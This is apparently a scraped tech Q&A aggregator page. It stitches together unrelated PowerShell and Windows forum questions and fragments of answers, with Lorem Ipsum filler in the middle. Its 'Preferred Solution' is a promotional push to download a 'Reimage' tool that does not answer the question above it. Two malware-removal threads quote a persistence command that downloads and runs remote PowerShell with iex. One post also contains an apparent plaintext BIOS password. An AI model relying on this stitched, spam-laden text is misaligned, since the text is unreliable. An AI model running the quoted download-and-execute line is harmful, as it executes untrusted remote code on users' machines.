Over 1 million tech questions and answers.

Eding my powershell script or jumping to another location

Q: Eding my powershell script or jumping to another location

i am trying trying to have my powershell script say "ok, computer will restart now" after user inputs a y after they are aked if they would like to reboot.and it just jumps right by it and says "OK... computer will NOT be restarted. Also if the use hits enter to any of the first 3 questions i want all the parameters to stay the same. below is the script i have so far. can anyone help. You will have to excuse me if this is a dumb question. I just started learning powershell.

# Funtion FUNC-y/n
function FUNC-y/n
{do {$yn = Read-Host "Would you like to reboot now (y/n)?" }
until ("y","n" -ccontains $yn)}
$compd = Get-WmiObject -Class Win32_OperatingSystem |Select Description
write-host "Your existing computer description is " $compd
$cn = Read-Host "Enter computer name"
write-host ""

$desc = Read-Host "Enter computer description"
write-host ""
$OSWMI=Get-WmiObject -class Win32_OperatingSystem
$OSWMI.put()| out-null #| OUT-NULL suppressess powershell command output

$wgn = Read-Host "Input workgroup name"
write-host ""

write-host ""
#Rename-Computer -NewName $cn #remove the # to rename computer
#Add-Computer -WorkGroupName $wgn #remove the # to rename workgroup
"Computer must reboot for setting to take effect"
write-host ""


if ($yn -eq "y"){
write-host ""
write-host "ok, computer will restart now"
write-host ""
"OK... computer will NOT be restarted"
write-host ""
"Good bye"

Read other answers
Preferred Solution: Eding my powershell script or jumping to another location

I recommend downloading and running Reimage. It's a computer repair tool that has been proven to identify and fix many Windows problems with a high level of success.

I've used it in the past to identify and fix everything from blue screens (BSOD's), ActiveX errors, corrupt files and processes, dll/exe/sys errors, recover lost memory, Windows update problems, defragging, malware removal etc.

You can download it direct from this link http://downloadreimage.com/download.php. (This link will automatically start a download of Reimage that you can save to your computer.)


2017-04-20 10:35:38Successfully sent task to the Device Management Gateway 2017-04-20 10:35:44 Task has been retrieved by the Agent. 2017-04-20 10:36:18 Successfully configured BootCommand to "disable". 2017-04-20 10:36:18 Successfully configured WFType to "". 2017-04-20 10:36:18 Successfully executed ConfigWriteFilter task. 2017-04-20 10:36:18 Successfully executed common task. 2017-04-20 10:36:18 Map repository to: Master Repository 2017-04-20 10:36:18 Successfully sent task to the Device Management Gateway 2017-04-20 10:37:45 Task has been retrieved by the Agent. 2017-04-20 10:37:50 Deploy files using repository Master Repository. 2017-04-20 10:37:50 Successfully downloaded RenameTC.ps1 to C:\Windows\ from /Repository/Files/ToDeploy/Make a Change Template. 2017-04-20 10:37:50 Successfully executed DeployFiles task. 2017-04-20 10:37:50 Successfully executed common task. 2017-04-20 10:37:50 Successfully sent task to the Device Management Gateway 2017-04-20 10:37:56 Task has been retrieved by the Agent. 2017-04-20 10:38:06 Execution result (below): 2017-04-20 10:38:06 C:\Windows>powershell C:\Windows\RenameTC.ps1 2017-04-20 10:38:06 C:\Windows\RenameTC.ps1 : File C:\Windows\RenameTC.ps1 cannot be loaded 2017-04-20 10:38:06 because running scripts is disabled on this system. For more information, see 2017-04-20 10:38:06 about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170. 2017-04-20 10:38:06 At line:1 char:1 2017-04-20 10:38:06 + C:\Windows\RenameTC.ps... Read more

Read other answers

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen
book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop
publishing software like Aldus PageMaker including versions of Lorem Ipsum.

Read other answers

Background: I have some text files I want to copy only specific text from. Can I start and stop with certain identifiers within the file?

The files I need to split have a heading and footer with a bunch of *s. Is there any way I can look for a specific number of *s and tell the script to copy everything between the header and footer?

They're not a header and footer per se, but these *s surround the data which I actually want.

A:Powershell Script Help

I've done some thought on this and is there a way to do something like this:

$asterisk = "***************************************"

read file lines

count asterisk

while asterisk = 3

copy data to another file

when asterisk = 4

stop and go to next file

I'm fairly new to scripting. This makes logical sense in my mind, but I'm not quite sure how to run it.

Read other 1 answers

Hi, I am running a logon script that elevates to run as admin. But users get the popup message every time they log in.

Is there way to add the script as trusted so once a user clicks yes it adds as a trusted script and runs every time without the UAC popup thereafter. Thanks
powershell -noprofile -command "&{ start-process powershell -ArgumentList '-noprofile -file DataBackup.ps1' -verb RunAs -WindowStyle Hidden}"

Read other answers

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString(''); iex $($ B)"
Has anyone run across this before?  I searched the forums and came across one but the topic was closed. http://www.bleepingcomputer.com/forums/t/574756/powershellexe-script-running/
I have run Malwarebytes and removed malware. I have also run roguekiller to remove poweliks.

A:powershell.exe script running

First let's attempt to remove the registry key that causes that powershell windows to open:
1. Press the Windows key and the "R" key at the same time, and then type this in the window that opens: regedit

2. Windows registry editor will open. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run, using the menu on the left. If you do not know how to use regedit, here's a guide. However, it's really simple and I doubt you need a guide
3. When you're there, on the right side of the screen, find the item which "data" begins with cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe, and right click and delete it!
If it's not there, please check if it's in  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, and delete it.
Warning: only remove that item I mentioned! Don't delete anything that isn't in those two locations, and which data doesn't start with cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
Now the powershell shouldn't start when you boot the PC. However, your PC may still be infected.
You know how to run Malwarebytes, so please do a scan and remove the malware it finds. If it asks you to restart the PC, say "yes". Then, open Malwarebytes, select the "History" tab on the top, click the most recent "scan log", and on the window that opens, on the bottom, click "export --> copy to clipboard" and paste it here.

T... Read more

Read other 5 answers


I have this powershell script that keeps on saying the length of the SID is wrong, or that I have invalid chars in the SID. The script is supposed to add an outbound firewall rule which blocks all traffic from a local user . The environment is Windows 10. Just change the username 'owner' to any user name on your system.

function getSID {
$objUser = New-Object System.Security.Principal.NTAccount($args[0])
$strSID = $objUser.Translate([System.Security.Principal.SecurityIdentifier])
$strSID.Value }

new-netfirewallrule -displayname 'Block User' -direction outbound -action block -localuser (getSID 'owner')

Click to expand...

So I tried using the output of the function directly as a string and it still complains of the same thing:
new-netfirewallrule -displayname 'Block User' -direction outbound -action block -localuser 'S-1-5-21-111336864-2315030922-3644749520-1001'Click to expand...

Any ideas ?

I have to use Powershell because in their command it has the 'localuser' option, which is not available when using 'netsh advfirewall', the command line tool. Apparently netsh is not going to be updated anymore, and Powershell is the way forward.

The manual way of doing this is to use Windows Administrative Tools > Windows Firewall with Advanced Security. Creating a outbound, custom rule which just blocks. Then go back into the rule's properties and the Local Principals tab will appear, where you ... Read more

A:Can't get this Powershell script to work

Read other 6 answers

Ok, so this doesn't necessarily have to do with Windows 7, but I originally wanted to reply to a post on Vista forums and somehow I ended up here. Anyway...

I actually tried all of this on Windows Server 2008 - set policies, scripts and logged on there.
Here's one way that actually works. 1) created a logonScript.ps1 file with whatever in it for the actual logon script. 2) created GPO with a policy for running a logon script and specified a vbScript file: launcher.vbs. 3) put those two files in the same folder related to the policy if you know what I mean.
The launcher.vbs contains:
' set up objects
Set WshShl = WScript.CreateObject("WScript.Shell")
Set fileSys = CreateObject("Scripting.FileSystemObject")
Set scriptFile = fileSys.GetFile("logonScript.ps1")

WshShl.Run("PowerShell.exe -NoLogo -NoProfile -command ""&{set-executionpolicy Unrestricted;&'" & scriptFile & "'}""")
That last line causes something like:
'PowerShell.exe -NoLogo -NoProfile -command "&{set-executionpolicy Unrestricted;&'\\IT270\sysvol\IT270.com\Policies\{AAD5280F-A3B7-4F65-B15B-27E6F92BA431}\User\Scripts\Logon\logonScript.ps1'}"
to run.
The one remaining problem is that I still get a prompt asking me if I want to run the script or not. If I set the IE intranet zone trusted sites to have file://IT270 then that prompt goes away. Unfortunately, setting it with Group Policy didn't work. I had to do ... Read more

A:PowerShell logon script

I've also created a Powershell login script here which I run not using Group Policy but from the user's AD account as part of their actual login script.

Powershell login script to map network drives, printers and applicaton settings

Hope this helps others out.

Read other 1 answers

# Need to create 100 mailboxes using the powershell script"
$DefaultPW = read-host "Enter Password" -AsSecureString

import-csv "C:\ExchangeTest1.csv" | Foreach-object {

$Fname = $_.FName
$LName = $_.LName
$User = $_.Username
New-Mailbox -UserPrincipalName $[email protected] -Alias $User -Database "MB1" -Password $DefaultPW -FirstName $FName -LastName $LName -ResetPasswordOnNextLogon $true


Read other answers

I need to make an installation script for Messag Analyzer 1.4. After installation, the welcome screen, updates, user contact and Telemetry should be disabled. I don't find any installation switches to do that. I've found that app.applicationconfiguration
is used to store those configurations but it is created after I manually do the configuration.
I'd like to disable these parameters during installation. I don't want the users manually configure these settings.
Can you help me with that issue please?
Thanks for your time!


Read other answers

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.   Under HKCU\Software\microsoft\run I have a key called winsystem with this in it.
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString(''); iex $($b)"
I removed the key several times and it just comes back.  I have run the following programs.
Norton Power eraser
HJT log file attached.
Has anyone run across this before?  I searched the forums and did not find anything.

A:Powershell.exe script running.

Hello, Welcome to BleepingComputer.I'm nasdaq and will be helping you.If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.===Download the version of this tool for your operating system.Farbar Recovery Scan Tool (64 bit)Farbar Recovery Scan Tool (32 bit)and save it to a folder on your computer's Desktop.Double-click to run it. When the tool opens click Yes to disclaimer.Press Scan button.It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply.The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.===p.s.HijackThis is not ready for windows 7 and above.I suggest you remove it using the Add/Remove Programs applet.Use the the Farbar tool from no own to report problems.

Read other 2 answers

I am writing a script to change my computer settings when I go to work and change them back when I get home.

I would like to know how to script turning on/off Airplane Mode. If that's not possible, how do I script turning on/off wireless and Bluetooth?

$Office = 'e40fb68e-3e3a-4942-aa68-0490b7e7a790'
$Balanced = '381b4222-f694-41f0-9685-ff5bb260df2e'
$currHour = (get-date).hour
if ($currHour -ge 7 -and $currHour -le 14) {
powercfg -SetActive $Office

#Disable-NetAdapter -Name "Wi-Fi"
#Start-Service -displayname "Bluetooth service"

} else {

powercfg -SetActive $Balanced

#Enable-NetAdapter -Name "Wi-Fi"

#Stop-Service -displayname "Bluetooth service"

A:Powershell script Airplane Mode

Hello Jesus, and welcome to Eight Forums.

I'm not sure about with a PowerShell script, but you might see if the shortcuts below to turn Airplane Mode off and on may work for you. You could pin or use them where you like.


Hope this helps,

Read other 7 answers

I work in a school and was wanting to get some help with setting up a logon script. In our school we have a few computer rooms where students would take exams on a pc. So for example a room would be in D block and the room number would be 6. We also have 'test' accounts which we deny access to Internet and other such things. What I would like to know is how would a script work to login each computer as a test user on each computer in D6.

Read other answers

Hi, I'm looking for some help!
I'm trying to write a script that will set the default printer to PRINTER3 if the current default printer is called PRINTER1, then exit powershell. I have hundreds of devices in different locations to change so this would be very helpful if someone could
Here is what I have so far:

Set-Content C:\Temp\current.txt (Get-WmiObject -namespace root\cimv2 -Query ?select * from Win32_Printer Where Default = TRUE? | select -ExpandProperty name)
$current=get-content C:\Temp\current.txt
if (-eq ($current - 'PRINTER1'))
(Get-WmiObject -Class Win32_Printer -Filter "Name='PRINTER3'").SetDefaultPrinter()


Read other answers

I work in a school and was wanting to get some help with setting up a logon script. In our school we have a few computer rooms where students would take exams on a pc. So for example a room would be in D block and the room number would be 6. We also have 'test' accounts which we deny access to Internet and other such things. What I would like to know is how would a script work to login each computer as a test user on each computer in D6.

Read other answers

set FILESPATH=D:\Igre\COD-MW2\main\images
set DESTPATH=D:\Igre\COD-MW2\main\images\thepit

REM for /r %LISTFOLDER% %%I in (*.txt) do echo xcopy /qvs "%FILESPATH%\%%~nxI" "%DESTPATH%%%~pnxI"
for /r %LISTFOLDER% %%I in (*.txt) do xcopy /qvs "%FILESPATH%\%%~nxI" "%DESTPATH%%%~pnxI"
This script does not work.

The poster on another fourum said it could be a typo or something, but no further info was provided what the correct script is, although he had no errors, he mentioned it could be environment, I'm on win7 x64.

I have another similar script for filenames in a txt only, which appears to work, but it doesn't work because I have filespath in the txt, in the meantime i'll manually remove paths to see if it'll work with that, but still this script would be handy to save time in future.

A:CMD or Powershell Moving - script not working

I've got it working a bit more with filenames

@echo off

set FILELIST=D:\List\imageFilenames.txt
set FILESPATH=D:\Igre\COD-MW2\main\images
set DESTPATH=D:\Igre\COD-MW2\main\images\thepit

for /f %%X in (%FILELIST%) do call :COPY_FILES "%%X"
goto :eof

for /r %FILESPATH% %%I in (%~1) do xcopy /qvs "%%I" "%DESTPATH%%%~pnxI"
But the error is

"cannot perform cyclic copy"

Read other 2 answers

Hello, I have a PowerShell Script I would like to run at any user logon. I have set task scheduled to run the script. But the message the script is to pop up is not showing. Does anyone have any ideas about why the pop up message in the scheduled script
is not showing?
I will add that the script does work. I can run the script and the message pops up. But, trying to run it from the task scheduler, nothing happenings. The Task Scheduler last run result, says completed successfully. But still the message does not show.

TechNet Forums

Read other answers

Hey guys, and thanks for the help in advance!  Rather than hijack another's thread I will wreak my havoc here.
From what I just read (Thanks to Didier Stevens) I see that I have an older version of PowerShell, and that this Script won't work.  Here is my outcome.  I will go try to find the info on Updating Powershell, and then try the script again.  Any advice on that would be nice, if there is anything to avoid etc.  Hopefully this will also help others with this issue.

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Install-Module SpeculationControl
The term 'Install-Module' is not recognized as the name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:15
+ Install-Module <<<< SpeculationControl
+ CategoryInfo : ObjectNotFound: (Install-Module:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Windows\system32> get-host|Select-Object version

PS C:\Windows\system32>

I am a little confused about what this Script does?  Is it that not all CPU's are vulnerable?  My CPU does not have a current firmware update so it may be vulnerable at this time (though not to worried about it ATM) I have time to work on it now, so I'll try to move for... Read more

A:Meltdown and Spectre Powershell-Script Won't Run, Me Too!

You need to install the Windows Management Framework to update PowerShell.
Take a look at the table here to see which version is compatible with your Windows version:

Read other 5 answers

This is my first post and I hope it is in the right place. I have an Inspiron 6000 laptop and xpmediacenter edition with ms office suite, paintshop prox. My problem is that when I type, the letters are suddenly in a different location either on the page or a different place on the website. It doesn't matter what program I am or if I am on the internet. I literally have to click in place I need to be to continue. I have run spybot, zone alarm pro anti-virus and spyware and mcafee is also on my computer. Dell says it is a software problem and won't help. It was suggested that it was a spyware (the reason I have run spybot, etc) Can someone help me or suggest where I can get help?

A:Trouble with keyed letters jumping to different location

Try disabling the touch pad or decreasing its sensitivity.

I disagree with Dell here, I believe you have a failing trackpoint.


Read other 3 answers

Hey there, my Windows 10 Machine is updated and patched with the update: kb4056892.
My processor: Intel® Core™ i3-3240 CPU @ 3.40GHz.
Engine: Intel® Management Engine.
My OS: Microsoft Windows 10 Home 64x.
My Desktop: Hewlett-Packard, Pro3500 Series
already tested it with: Intel-SA-00086 Detection Tool   (I don't Know what the Tool doe's but people says it will scan if your processor is patched against Meltdown, or Spectre.. but i don't know.. :s)
and the results are: This system is not vulnerable.
but iknow MS have created an Powershell-Script to check if your system is Patched against Meltdown or Spectre or if it need Firmware update or not..
But when i run the Scripts:
Install-Module SpeculationControl (It asks me how to open it with an app)
already changed the: Set-ExecutionPolicy Bypass (To YES all)
But nothing has helped.. and i need to run this Script, anything to fix this so that i can run the Script, to check my System?
already have enabled (Strict Site Isolation in Google Chrome) and as always using an adblocker to protect me from Malicious Ads, other things.. 

A:Meltdown and Spectre (Problem with Powershell-Script!) Need Help ..

You have already applied the KB patch that fixes the vulnerabilities.   There is nothing more that needs to be done.

Read other 55 answers

Hi all,
forgive me if this is the wrong folder.
I am googling scripts to find a PS script to count file types and files in several directory's on our network.
I am a noob on powershell, and I'm trying to experiment.
I have several directory's on my "Libraries" directory on my pc at work. I'm just trying to test a PS script to get this to work to count the files and list the file types in my "Libraries\Documents\Tidbits" folder.

Get-ChildItem \\hilltop3\users$\LongRandy\My Documents\TIDBITS
but I get this error:"Get-ChildItem : Cannot find path '\\hilltop3\users$\LongRandy\My' because it does not exist.
At line:1 char:14
+ Get-ChildItem <<<< \\hilltop3\users$\LongRandy\My Documents\TIDBITS
+ CategoryInfo : ObjectNotFound: (\\hilltop3\users$\LongRandy\My:String) [Get-ChildItem], ItemNotFoundExc
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand"

How can I put in the ENTIRE file path? It just arbitrarily truncates the path?

Thanks again

A:Powershell script to count file types

You may find someone qualified for answering this here but your best bet is a place like this https://social.technet.microsoft.com...rverpowershell

Read other 2 answers

Hope I'm in the right place!

I am trying to get a Powershell script to run daily in the task scheduler. It basically purges a folder on one of my drives:

Get-ChildItem ?Path ?D:\Dropbox\Quicken\Backup? ?Recurse | Where-Object CreationTime ?lt (Get-Date).AddDays(-10) | Remove-ItI

I can run it from a CMD prompt and I set it up in the task scheduler and it seemed to run one time on schedule and then hasn't run since that initial time. I have tried to run it manually from the task scheduler but it gets and error "Task Start Failed."

I have attached copies of the properties tabs and the main view of the task scheduler with the History showing. Any ideas? I didn't find a tutorial, but I'm sure there is something on the website!


Al Guden


Read other answers

hi i have problem with some app for example powershell or Troubleshooting
see event :

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Application Error" />

<EventID Qualifiers="0">1000</EventID>




<TimeCreated SystemTime="2014-10-17T18:13:30.000000000Z" />


<Security />

- <EventData>













<Data />

<Data />


- <Event xmlns="... Read more

Read other answers

Hello, I need help in setting bios settings remotely to 1000+ computers. I have a problem where I have computers with two different passwords. I came up with PowerShell script but the two passwords don't work in conjunction together. Can you please help with the scripts. Can you also provide me with VBS script so I can use group policy to apply the changes? Powershell will work in SCCM task sequence but doesn't work in group policy because of evaluation issues. Here is the script I came up with:   param(
$settings = Get-Content $config
foreach($setting in $settings)
$run = "$setting,$password,ascii,us"
$Response = (gwmi -class Lenovo_SetBiosSetting -namespace root\wmi).SetBiosSetting("$run").return
write-output ("$setting`n$Response")
if($Response="Access Denied")
$Response = (gwmi -class Lenovo_SaveBiosSettings -namespace root\wmi).SaveBiosSettings("$password,ascii,us").return
write-output ("$setting`n$Response")

}Powershell.exe -ExecutionPolicy bypass -file "\\mdt\deploymentshare$\Scripts\Westmount\BIOS Update\powershell.ps1" -password h3cabozihctymage -config "\\mdt\deploymentshare$\Scripts\Westmount\BIOS Update\Lenovo Bios Setting.txt" The  script works but not with second password.  Is it possible you can help me out here? I have very... Read more

Read other answers

I need some help getting the below to work. I must use WinrM witrh a server list.. can anyone help ?

$sessions = get-content D:\Powershell\Space\Allservers.txt | New-PSSession
$block = {
function Get-DriveSpace
param( [Parameter(Mandatory=$true)]$computer , [int]$thresholdMultiplier=.20 )
[string]$filter = "DriveType = '3'"
Get-WmiObject -class win32_logicaldisk -filter $filter -comp $computer |
Select-Object Name,@{label="SizeMB";Expression={[Math]::Truncate($_.Size / 1MB)}},
@{label="FreeMB";Expression={[Math]::Truncate($_.FreeSpace / 1MB)}},
@{label="WarningMB";Expression={[Math]::Truncate(($_.Size * $thresholdMultiplier) /1MB)}}|
Where-Object{$_.FreeMB -le $_.WarningMB}
} catch {
Write-Verbose "Error $Error in getting disk space for $computer"
[string]$body = Invoke-Command -ScriptBlock $block -Session $sessions | Select sizeMB,freeMB,WarningMB | Sort WarningMB | ConvertTo-Html
Send-MailMessage -SmtpServer " " -From " " -To " " -Subject "Servers Less Than 20% Free" -Body $body -BodyAsHtml

A:Powershell script for disk space - pssession

Hello and welcome to the forum.

I think I know the member who can help you I will forward this to him.

Read other 1 answers

I need copy files from one(source) server to another(destination) server and want to log an event in case any failure happens for example if destination server is not available.
I have tested the following command in a powershell script and its just working fine for copy to destination and then moving the files to archive. 

Copy-Item "c:\copy\*" -Destination "\\server1\d$\testcopy" 
Move-Item "c:\copy\*" -Destination "c:\Archive" 

Please advise how can i log event in eventviewer in case of error or if script is not executed.

Read other answers

Very interesting results regarding AVG/Avast. I would never have thought they'd outperform ESET/Kaspersky/Symantec at the try harder part.

Read other answers


I would like to automatize cleaning the Windows 10's start menu from all these default pinned apps that I'm not using. I don't want to remove apps, only unpin from from start.

I tried to google help, but didn't find any. There seems to be no command to pin and unpin apps in start menu. Any alternative methods? The information about the configuration of start menu must be stored somewhere, so has anyone found a way to hack this information?

A:How to automatically (cmd/powershell script) unpin all apps in start

I want to do this too and I remember reading of a way, however I might be mistaken. Hopefully, someone will respond and let us know.

Read other 3 answers

I want to turn on and off Airplane mode through powershell script, any way for this?
I know that there are some exe files that can be used, but still I want to do this from powershell script.

A:How to Turn On/Off Airplane mode in windows through powershell script

According to your description, I would like to share the link with you:
Airplane Mode On or Off Shortcuts - Create in Windows 8
If you want to the detail of the script, I suggest to post the question on Script Center forum for further help.
Script Center forum:
Note: Microsoft provides third-party contact information to help you find technical support. This contact information may change without notice. Microsoft does not guarantee the accuracy of this third-party contact information.
TechNet Community Support

Read other 3 answers

Hi all,

I'm trying to make a batch or powershell file that will call multiple names and passwords from a CSV file and then create local users with them.

Anyone able to help? - I've made users in command line before using the Net User command, but i'm not sure how to use the variables to say read the data from this spreadsheet, then add a user with it.

Any help would be gratefully received!


A:Batch / Powershell script to add multiple Local users

i found this from when i used to do sysadmin,

# AUTHOR : Marius / Hican - http://www.hican.nl - @hicannl
# DATE : 26-04-2012
# COMMENT : This script creates new Active Directory users
# including different kind of properties based
# on an input_create_ad_users.csv.
Import-Module ActiveDirectory
# Get current directory and set import file in variable
$path = Split-Path -parent $MyInvocation.MyCommand.Definition
$newpath = $path + "\import_create_ad_users.csv"
# Define variables
$log = $path + "\create_ad_users.log"
$date = Get-Date
$i = 0
# Change this to the location you want the users to be created in your AD
$location = "OU=Test,OU=Users,DC=hican,DC=nl"
Function createUsers
"Created following users (on " + $date + "): " | Out-File $log -append
"--------------------------------------------" | Out-File $log -append
Import-CSV $newpath | ForEach-Object {
# A check for the country, because those were full names and need
# to be landcodes in order for AD to accept them. I used Netherlands
# as example
If($_.CO -eq "Netherlands")
$_.CO = "NL"
# Replace dots / points (.) in names, because AD will error when a ... Read more

Read other 1 answers

Wondering if anyone in this forum can help me figure out what I am doing wrong with my script. I am grabbing a text file with a list of users in it. I want to then create folders for all those people and then set explicit permissions on those folders to only allow the users and admin access to it. So for the create user folder, I have...

$Users = Get-Content "C:\Users.txt"
ForEach ($user in $users)
$newPath = Join-Path \\mycomputer\Users$ -childpath $user
New-Item $newPath -type directory

This works great as I now have 100 folders created. But how do I use something like....

$acl = Get-Acl "\\mycomputer\users$"
$permission = "mydomain\$users","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl | Set-Acl \\mycomputer\users$\$user

When I try to loop these together it says the folder already exists or the setaccessrule identity references could not be translated.

Anyone know how I loop it in with creating the folder? Or is there a way to just say...create folder based on this username, then take that username and make it the only admin on the folder along with the system admin??

A:powershell script to create user folders and set permissions

answered my own problem...but maybe someone can help me out from here. This works for creating folders and setting permissions.

$Users = Get-Content "C:\Users.txt"
ForEach ($user in $users)
$newPath = Join-Path "\\myserver\Users$" -childpath $user
New-Item $newPath -type directory

$acl = Get-Acl $newpath
$permission = "mydomain\$user","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl | Set-Acl $newpath

Anyone know how I would then look at an old server with user folders and do a stare and compare between the old and the new ones I just created? And once I find a folder that matches I want to grab all the contents in the old server and robocopy it over to the new server.

Read other 3 answers

Inside a batch script, how to use the content of a variable that come from a PowerShell command ?

Read other answers

User Configuration\Administrative Templates\Control Panel\Personalization\Load a specific theme

appears to be broken in Windows 10, and will not assert itself with new accounts or existing accounts. Is there a method from within the user's profile to set a new theme via script or registry setting if the theme is available on the workstation?

Local machine - in an active directory world

Read other answers


I'm struggling to create a private key in order then to use to sign a PowerShell Script and I would really use some help on this.

Firstly I wanted to be able to run PowerShell scripts without having to lower PowerShell's Execution-Policy and in order to do that one should have to be able to sign scripts.

Therefore and after installing the [URL="https://www.microsoft.com/en-us/download/details.aspx?id=8442"]Windows SDK[/URL] I'm trying to create a private key (and then a certificate) in order to be able to sign scripts.

But this fails likewise:

C:\Program Files\Microsoft Visual Studio 8\SDK\v2.0\Bin>makecert -n "CN=PowerShell Local Certificate Root" -a sha1 -eku -r -sv root.pvk root.cer -ss Root -sr localMachine
Error: Can't create the key of the subject ('root.pvk')
And so I've begun trying to debug this, with no success.

So far I've checked with these:

I checked with makecert's documentation to check whether the command parameters are correctexecuted the command from within a non-special directoryexecuted the command as the local Administrator userexecuted the command from an "elevated" Command Prompt or an "elevated" PowerShellmade sure the security permissions for _ALL_ the Crypto/RSA directories are set as indicated

If you have any ideas or you would like to share your insights or have me walk again over again something I've already tried/mentioned please feel free ... Read more

Read other answers

I work in an enterprise environment, where I manage a lab of 75 computers. I use Ghost to image and then I walk the computers afterwards to change the PC names and SIDs.

I am implementing a script to automatically add the computers to the domain but I am new to PowerShell and would really appreciate the help. Here's the script I'm using, 1.ps1:

Param (
[String]$User = $(Throw "MYDOMAINUSERINFO"),
[String]$Domain = "MYDOMAININFO",
[String]$PathToCred = "C:\OMC\AutoPost"
#Make sure our path string has a trailing backslash
If ($PathToCred[$PathToCred.Length - 1] -ne "\")
{ $PathToCred += "\"
#Now create file string
$File = $PathToCred + "JoinDomain-$User.crd"
#And find out if it's there, if not create it
If (-not (Test-Path $File))
{ (Get-Credential).Password | ConvertFrom-SecureString | Set-Content $File
#Load the credential file
$Password = Get-Content $File | ConvertTo-SecureString
$Credential = New-Object System.Management.Automation.PsCredential($User,$Password)
#Add the computer to the domain
Add-Computer -DomainName $Domain -Credential $Credential

I run this script using a batch file that I place in the startup folder.

Powershell.exe -ExecutionPolicy Bypass C:\OMC\AutoPost\1.ps1 -User MYDOMAINUSERINFO -Domain MYDOMAININFO -PathToCred C:\OMC\AutoPost\

Running this script works norm... Read more

Read other answers


I am trying to uninstall RSAT tools from my Windows 8.1 client. I'm getting the error linked below on API and Powershell cmdlets component.

I already have restarted the pc, run the dism /online /cleanup-image /scanhealth and /restorehealth, tried to delete the reg key that cbs.log tells to not be able to delete itself (in this case the error is "cannot find" instead of "cannot delete").

The link is a onedrive folder in which you can find stamps of the errors and the CBS.log.

Thank you,
Francesco B.

Francesco B.

Read other answers

I've been trying to set the company I work for up with a standardized Outlook signature. I found a great Powershell script to take care of it. Here's a pastebin of the entire script. Well, I've set the script up and have it run by a logon batch file set to run in each user's Active Directory profile. I figured we were using one anyway, so might as well just add to it for this functionality. Well, the batch file loads the script every time without fail, and the script is capable of working, but doesn't always. While testing I restarted/logged in and out several times to make sure the script was doing it's job. I didn't change the logon batch file, and I didn't change the Powershell script. Well, sometimes the script works and Outlook applies an accurate new signature to my emails with information pulled from AD just like it should, and sometimes it doesn't. When it doesn't, the error I get is:
Exception calling "FindOne" with "0" arguement(s): "Logon Failure: unknown user name or bad password."
At C:\Users\myUserName\Documents\Signature Deployment\SetOutlookSignature.ps1:105 char:32
+ $ADUserPath = $Searcher.FindOne <<<< ()
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorID : DotNetMethodException
Because of this one error, all of the AD fields that are queried later in the script return null values, which messes the... Read more

A:Powershell Script to pull Active Directory fields and make an Outlook signature

Anyone out there have any ideas? I usually don't bump my own threads, but this really has me stumped. Waiting five days to bump should be more than acceptable. =D

Read other 1 answers

I am looking for the location for the windows logon script file. I need to compare two script files
The issue that I am having is that one laptop is not automatically mapping network drives even though the user is in the correct active directory group.
Another user is in the same group and has the network drive mapped, so I need to compare both logon scripts from both laptops.
Maybe these scripts can be read or edited in notepad but I need the location if anybody can help?

A:Where is the location for the windows logon script?

Hello Tomcolgan,

To find the location of a user's logon script, while logged in as the user, run the command:
net user "%USERNAME%" | find "Logon script"
or for a domain user,
net user "%USERNAME%" /domain | find "Logon script"

Read other 9 answers

Hi! I currently inherited a Windows 7 image that has the default location for the users' My Documents folder configured incorrectly. When a domain or local user account logs in to the machine for the first time the Documents directory, which by default should be located on %userprofile%\Documents and C:\Users\Public, is being set to point to the "My Documents" SHORTCUT folder and not the actual Documents folder inside C:\Users\%username%\. See screenshot.

I'd like to fix this by running a script that will remove both directories and only specify C:\Users\%username%\Documents as the only and default My Documents directory for the user.

Unfortunately, doing this via Group Policy is not an option. And since the image I am using was created by a previous technician I couldn't just create a new image since there are tons of software and customization already incorporated on it. I also tried exporting and importing the registry key for it on the explorer shell but that only seemed to work for the user where I exported the key from.

It would be nice if I have a more permanent fix for it so any new user logging in would have the correct path already set instead of me running a script for every user to fix it but if there's a simply and quick script to do it I can live with that.

A:Script to change the location of Documents folder in Windows 7

Hi Medyo,

Take a look at these guides to see if they do what you are trying to achieve.
User Folders - Change Default Location
User Folders - Restore Default Location
User Folders - Moving User Folders by Modular Script


Read other 1 answers

I am writing a VB script to find the list of missing windows updates on the windows system in offline mode. Means i will provide path of wsusscn2.cab file in VB script and fetch various parameters like Title,Type,Severity,download url link etc. I can find
list of missing updates and their names using the script but it is always giving the URL link pointing to .cab file only even though we have same KB with extension .msu is available in microsoft catalog update website. My scope of work is to find the respective
missing KB file with .msu/.msi extension and display it in the script. But my script always fetching .cab extension updates only but not both .cab and .msu for same KB even though both found in windows updates website.
